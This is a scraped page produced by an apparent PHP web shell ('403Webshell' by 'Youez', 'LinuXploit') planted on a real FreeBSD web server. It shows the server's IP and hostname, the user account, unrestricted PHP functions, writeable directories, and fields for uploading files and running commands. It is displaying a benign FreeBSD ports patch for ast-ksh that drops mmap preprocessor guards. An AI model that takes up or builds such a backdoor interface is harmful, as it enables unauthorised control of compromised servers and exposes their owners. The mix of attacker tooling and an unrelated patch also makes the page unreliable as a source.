403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/shells/ast-ksh/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/shells/ast-ksh/files/patch-src_lib_libast_sfio_sfrd.c
--- src/lib/libast/sfio/sfrd.c.orig	2016-02-28 17:09:23 UTC
+++ src/lib/libast/sfio/sfrd.c
@@ -92,12 +92,10 @@ Sfdisc_t*	disc;
 			{	f->endb = f->next = f->endr = f->data;
 				f->mode &= ~SF_SYNCED;
 			}
-#if _mmap_worthy
 			if((f->bits&SF_MMAP) && f->data)
 			{	SFMUNMAP(f, f->data, f->endb-f->data);
 				f->data = NIL(uchar*);
 			}
-#endif
 			f->next = f->endb = f->endr = f->endw = f->data;
 		}
 	}
@@ -132,7 +130,6 @@ Sfdisc_t*	disc;
 			}
 		}
 
-#if _mmap_worthy
 		if(f->bits&SF_MMAP)
 		{	reg ssize_t	a, round;
 			sfstat_t	st;
@@ -230,7 +227,6 @@ Sfdisc_t*	disc;
 				}
 			}
 		}
-#endif
 
 		/* sync unseekable write streams to prevent deadlock */
 		if(!dosync && f->extent < 0)

Youez - 2016 - github.com/yon3zu
LinuXploit